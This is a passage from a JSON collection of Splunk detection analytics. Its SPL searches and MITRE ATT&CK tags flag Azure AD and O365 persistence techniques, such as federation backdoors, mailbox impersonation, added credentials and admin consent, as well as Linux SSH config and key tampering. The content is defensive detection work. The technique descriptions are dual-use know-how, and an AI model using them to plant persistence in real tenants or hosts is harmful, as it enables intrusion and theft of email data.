"search": " `azure_monitor_aad` (operationName=\"Enable account\" OR operationName=\"Reset password (by admin)\" OR operationName=\"Update user\") | transaction user startsWith=(operationName=\"Enable account\") endsWith=(operationName=\"Reset password (by admin)\") maxspan=2m | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime values(operationName) as operationName values(initiatedBy) as initiatedBy by user, result | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_user_enabled_and_password_reset_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "A user account, $user$, was enabled and its password reset within 2 minutes by $initiatedBy$", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Azure AD User ImmutableId Attribute Updated", - "description": "The following analytic identifies the modification of the SourceAnchor (ImmutableId) attribute for an Azure Active Directory user. This detection leverages Azure AD audit logs, specifically monitoring the \"Update user\" operation and changes to the SourceAnchor attribute. This activity is significant as it is a step in setting up an Azure AD identity federation backdoor, allowing an adversary to establish persistence. If confirmed malicious, the attacker could impersonate any user, bypassing password and MFA requirements, leading to unauthorized access and potential data breaches.", - "search": " `azure_monitor_aad` operationName=\"Update user\" properties.targetResources{}.modifiedProperties{}.displayName=SourceAnchor | rename properties.* as * | rename initiatedBy.user.userPrincipalName as initiatedBy | rename targetResources{}.modifiedProperties{}.newValue as modifiedProperties | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user values(modifiedProperties) as modifiedProperties by initiatedBy, src_ip, result, operationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_user_immutableid_attribute_updated_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "The SourceAnchor or ImmutableID attribute has been modified for user $user$ by $initiatedBy$", - "risk_score": 45, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Application Registration Owner Added", - "description": "The following analytic identifies instances where a new owner is assigned to an application registration within an Azure AD and Office 365 tenant. It leverages O365 audit logs, specifically events related to changes in owner assignments within the AzureActiveDirectory workload. This activity is significant because assigning a new owner to an application registration can grant significant control over the application's configuration, permissions, and behavior. If confirmed malicious, an attacker could modify the application's settings, permissions, and behavior, leading to unauthorized data access, privilege escalation, or the introduction of malicious behavior within the application's operations.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Add owner to application.\" | eval app_id=mvindex('ModifiedProperties{}.NewValue', 0) | eval app_displayName=mvindex('ModifiedProperties{}.NewValue', 1) | stats max(_time) as lastTime values(ModifiedProperties{}.NewValue) by Operation, user, app_displayName, object | `security_content_ctime(lastTime)` | `o365_application_registration_owner_added_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Application registration $app_displayName$ was assigned a new owner $object$", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 ApplicationImpersonation Role Assigned", - "description": "The following analytic detects the assignment of the ApplicationImpersonation role in Office 365 to a user or application. It uses the Office 365 Management Activity API to monitor Azure Active Directory audit logs for role assignment events. This activity is significant because the ApplicationImpersonation role allows impersonation of any user, enabling access to and modification of their mailbox. If confirmed malicious, an attacker could gain unauthorized access to sensitive information, manipulate mailbox data, and perform actions as a legitimate user, posing a severe security risk to the organization.", - "search": "`o365_management_activity` Workload=Exchange Operation=\"New-ManagementRoleAssignment\" Role=ApplicationImpersonation | rename User as target_user | stats max(_time) as lastTime by Operation, user, object, ObjectId, Role, target_user | `security_content_ctime(lastTime)` | `o365_applicationimpersonation_role_assigned_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Collection Techniques", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "target_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$user$ granted the ApplicationImpersonation role to $target_user$", - "risk_score": 56, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Elevated Mailbox Permission Assigned", - "description": "The following analytic identifies the assignment of elevated mailbox permissions in an Office 365 environment via the Add-MailboxPermission operation. It leverages logs from the Exchange workload in the o365_management_activity data source, focusing on permissions such as FullAccess, ChangePermission, or ChangeOwner. This activity is significant as it indicates potential unauthorized access or control over mailboxes, which could lead to data exfiltration or privilege escalation. If confirmed malicious, attackers could gain extensive access to sensitive email data and potentially manipulate mailbox settings, posing a severe security risk.", - "search": " `o365_management_activity` Workload=Exchange Operation=Add-MailboxPermission | search (AccessRights=FullAccess OR AccessRights=ChangePermission OR AccessRights=ChangeOwner) | rename Identity AS dest_user | stats count earliest(_time) as firstTime latest(_time) as lastTime by user dest_user Operation AccessRights |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `o365_elevated_mailbox_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Elevated mailbox permissions were assigned on $dest_user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 High Privilege Role Granted", - "description": "The following analytic detects when high-privilege roles such as \"Exchange Administrator,\" \"SharePoint Administrator,\" or \"Global Administrator\" are granted within Office 365. It leverages O365 audit logs to identify events where these roles are assigned to any user or service account. This activity is significant for SOCs as these roles provide extensive permissions, allowing broad access and control over critical resources and data. If confirmed malicious, this could enable attackers to gain significant control over O365 resources, access, modify, or delete critical data, and compromise the overall security and functionality of the O365 environment.", - "search": "`o365_management_activity` Operation=\"Add member to role.\" Workload=AzureActiveDirectory | eval role_id = mvindex('ModifiedProperties{}.NewValue',2) | eval role_name = mvindex('ModifiedProperties{}.NewValue',1) | where role_id IN (\"29232cdf-9323-42fd-ade2-1d097af3e4de\", \"f28a1f50-f6e7-4571-818b-6a12f2af6b6c\", \"62e90394-69f5-4237-9190-012177145e10\") | stats earliest(_time) as firstTime latest(_time) as lastTime by user Operation ObjectId role_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_high_privilege_role_granted_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$user$ granted high privilege roles to $ObjectId$", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Folder Read Permission Assigned", - "description": "The following analytic identifies instances where read permissions are assigned to mailbox folders within an Office 365 environment. It leverages the `o365_management_activity` data source, specifically monitoring the `ModifyFolderPermissions` and `AddFolderPermissions` operations, while excluding Calendar, Contacts, and PersonMetadata objects. This activity is significant as unauthorized read permissions can lead to data exposure and potential information leakage. If confirmed malicious, an attacker could gain unauthorized access to sensitive emails, leading to data breaches and compromising the confidentiality of organizational communications.", - "search": "`o365_management_activity` Workload=Exchange (Operation=ModifyFolderPermissions OR Operation=AddFolderPermissions) Workload=Exchange object!=Calendar object!=Contacts object!=PersonMetadata | eval isReadRole=if(match('Item.ParentFolder.MemberRights', \"(ReadAny)\"), \"true\", \"false\") | rename UserId as user | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, user, object, Item.ParentFolder.MemberUpn, Item.ParentFolder.MemberRights | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_mailbox_folder_read_permission_assigned_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A folder was granted read permission by $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Folder Read Permission Granted", - "description": "The following analytic identifies instances where read permissions are granted to mailbox folders within an Office 365 environment. It detects this activity by monitoring the `o365_management_activity` data source for the `Set-MailboxFolderPermission` and `Add-MailboxFolderPermission` operations. This behavior is significant as it may indicate unauthorized access or changes to mailbox folder permissions, potentially exposing sensitive email content. If confirmed malicious, an attacker could gain unauthorized access to read email communications, leading to data breaches or information leakage.", - "search": " `o365_management_activity` Workload=Exchange (Operation=\"Set-MailboxFolderPermission\" OR Operation=\"Add-MailboxFolderPermission\" ) | eval isReadRole=if(match(AccessRights, \"^(ReadItems|Author|NonEditingAuthor|Owner|PublishingAuthor|Reviewer)$\"), \"true\", \"false\") | search isReadRole=\"true\" | rename UserId as user | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, user, Identity, AccessRights | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_mailbox_folder_read_permission_granted_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A folder was granted read permission by $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Read Access Granted to Application", - "description": "The following analytic identifies instances where the Mail.Read Graph API permissions are granted to an application registration within an Office 365 tenant. It leverages O365 audit logs, specifically events related to changes in application permissions within the AzureActiveDirectory workload. This activity is significant because the Mail.Read permission allows applications to access and read all emails within a user's mailbox, which often contain sensitive or confidential information. If confirmed malicious, this could lead to data exfiltration, spear-phishing attacks, or further compromise based on the information gathered from the emails.", - "search": "`o365_management_activity` Operation=\"Update application.\" | eval json_data=mvindex('ModifiedProperties{}.NewValue', 0) | eval json_data=replace(json_data, \"^\\[\\s*\", \"\") | eval json_data=replace(json_data, \"\\s*\\]$\", \"\") | spath input=json_data path=RequiredAppPermissions{}.EntitlementId output=EntitlementIds | eval match_found=mvfind(EntitlementIds, \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\") | where isnotnull(match_found) | stats max(_time) as lastTime values(EntitlementIds) as EntitlementIds by Operation, user, object | `security_content_ctime(lastTime)` | `o365_mailbox_read_access_granted_to_application_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Application registration $object$ was grandes mailbox read access by $user$", - "risk_score": 45, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 New MFA Method Registered", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for a user account within Office 365. It leverages O365 audit logs to identify changes in MFA configurations. This activity is significant as it may indicate an attacker's attempt to maintain persistence on a compromised account. If confirmed malicious, the attacker could bypass existing security measures, solidify their access, and potentially escalate privileges or access sensitive data. Immediate verification and remediation are required to secure the affected account.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=\"Update user.\" | eval propertyName = mvindex('ModifiedProperties{}.Name', 0) | search propertyName = StrongAuthenticationMethod | eval oldvalue = mvindex('ModifiedProperties{}.OldValue',0) | eval newvalue = mvindex('ModifiedProperties{}.NewValue',0) | rex field=newvalue max_match=0 \"(?i)(?\\\"MethodType\\\")\" | rex field=oldvalue max_match=0 \"(?i)(?\\\"MethodType\\\")\" | eval count_new_method_type = coalesce(mvcount(new_method_type), 0) | eval count_old_method_type = coalesce(mvcount(old_method_type), 0) | where count_new_method_type > count_old_method_type | stats earliest(_time) as firstTime latest(_time) as lastTime values(propertyName) by user newvalue oldvalue | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_new_mfa_method_registered_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new MFA method was added for $user$", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "O365 Service Principal New Client Credentials", - "description": "The following analytic detects the addition of new credentials for Service Principals within an Office 365 tenant. It uses O365 audit logs, focusing on events related to credential modifications or additions in the AzureActiveDirectory workload. This activity is significant because Service Principals represent application identities, and their credentials allow applications to authenticate and access resources. If an attacker successfully adds or modifies these credentials, they can impersonate the application, leading to unauthorized data access, data exfiltration, or malicious operations under the application's identity.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=\"Update application*Certificates and secrets management \" | stats earliest(_time) as firstTime latest(_time) as lastTime by user ModifiedProperties{}.NewValue object ObjectId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_service_principal_new_client_credentials_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "object", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "New credentials added for Service Principal $object$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.001", - "mitre_attack_technique": "Additional Cloud Credentials", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "O365 Tenant Wide Admin Consent Granted", - "description": "The following analytic identifies instances where admin consent is granted to an application within an Azure AD and Office 365 tenant. It leverages O365 audit logs, specifically events related to the admin consent action within the AzureActiveDirectory workload. This activity is significant because admin consent allows applications to access data across the entire tenant, potentially exposing vast amounts of organizational data. If confirmed malicious, an attacker could gain extensive and persistent access to organizational data, leading to data exfiltration, espionage, further malicious activities, and potential compliance violations.", - "search": "`o365_management_activity` Operation=\"Consent to application.\" | eval new_field=mvindex('ModifiedProperties{}.NewValue', 4) | rex field=new_field \"ConsentType: (?[^\\,]+)\" | rex field=new_field \"Scope: (?[^\\,]+)\" | search ConsentType = \"AllPrincipals\" | stats count min(_time) as firstTime max(_time) as lastTime by Operation, user, object, ObjectId, ConsentType, Scope | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_tenant_wide_admin_consent_granted_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "The $object$ application registration was granted tenant wide admin consent.", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098.003", - "mitre_attack_technique": "Additional Cloud Roles", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "O365 Suspicious Rights Delegation", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `O365 Elevated Mailbox Permission Assigned`. This analytic identifies instances where potentially suspicious rights are delegated within the Office 365 environment. Specifically, it detects when a user is granted FullAccess, SendAs, or SendOnBehalf permissions on another users mailbox. Such permissions can allow a user to access, send emails from, or send emails on behalf of the target mailbox. The detection leverages O365 audit logs, focusing on the Add-MailboxPermission operation. By parsing the parameters of this operation, the analytic filters for events where FullAccess, SendAs, or SendOnBehalf rights are granted. It then aggregates this data to capture the source user (who was granted the permissions), the destination user (whose mailbox was affected), the specific operation, and the type of access rights granted. Delegating mailbox rights, especially those as powerful as FullAccess, can pose significant security risks. While there are legitimate scenarios for these permissions, such as an executive assistant needing access to an executives mailbox, there are also malicious scenarios where an attacker or a compromised insider might grant themselves unauthorized access to sensitive mailboxes. Monitoring for these permissions changes is crucial to detect potential insider threats, compromised accounts, or other malicious activities.If the detection is a true positive, it indicates that a user has been granted potentially high-risk permissions on another users mailbox. This could lead to unauthorized access to sensitive emails, impersonation through sending emails as or on behalf of the mailbox owner, or data manipulation by altering or deleting emails. Immediate investigation is required to validate the legitimacy of the permission change and to assess the potential risks associated with the granted access.", - "search": "`o365_management_activity` Operation=Add-MailboxPermission | spath input=Parameters | rename User AS src_user, Identity AS dest_user | search AccessRights=FullAccess OR AccessRights=SendAs OR AccessRights=SendOnBehalf | stats count earliest(_time) as firstTime latest(_time) as lastTime by user src_user dest_user Operation AccessRights |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` |`o365_suspicious_rights_delegation_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has delegated suspicious rights $AccessRights$ to user $dest_user$ that allow access to sensitive", - "risk_score": 48, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1098.002", - "mitre_attack_technique": "Additional Email Delegate Permissions", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux Possible Access Or Modification Of sshd Config File", - "description": "The following analytic detects suspicious access or modification of the sshd_config file on Linux systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving processes like \"cat,\" \"nano,\" \"vim,\" and \"vi\" accessing the sshd_config file. This activity is significant because unauthorized changes to sshd_config can allow threat actors to redirect port connections or use unauthorized keys, potentially compromising the system. If confirmed malicious, this could lead to unauthorized access, privilege escalation, or persistent backdoor access, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"cat\", \"nano*\",\"vim*\", \"vi*\") AND Processes.process IN(\"*/etc/ssh/sshd_config\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_access_or_modification_of_sshd_config_file_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1098.004", - "mitre_attack_technique": "SSH Authorized Keys", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1098", - "mitre_attack_technique": "Account Manipulation", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux Possible Ssh Key File Creation", - "description": "The following analytic detects the creation of SSH key files in the ~/.ssh/ directory. It leverages filesystem data to identify new files in this specific path. This activity is significant because threat actors often create SSH keys to gain persistent access and escalate privileges on a compromised host. If confirmed malicious, this could allow attackers to remotely access the machine using the OpenSSH daemon service, leading to potential unauthorized control and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/.ssh*\") by Filesystem.dest Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_possible_ssh_key_file_creation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - 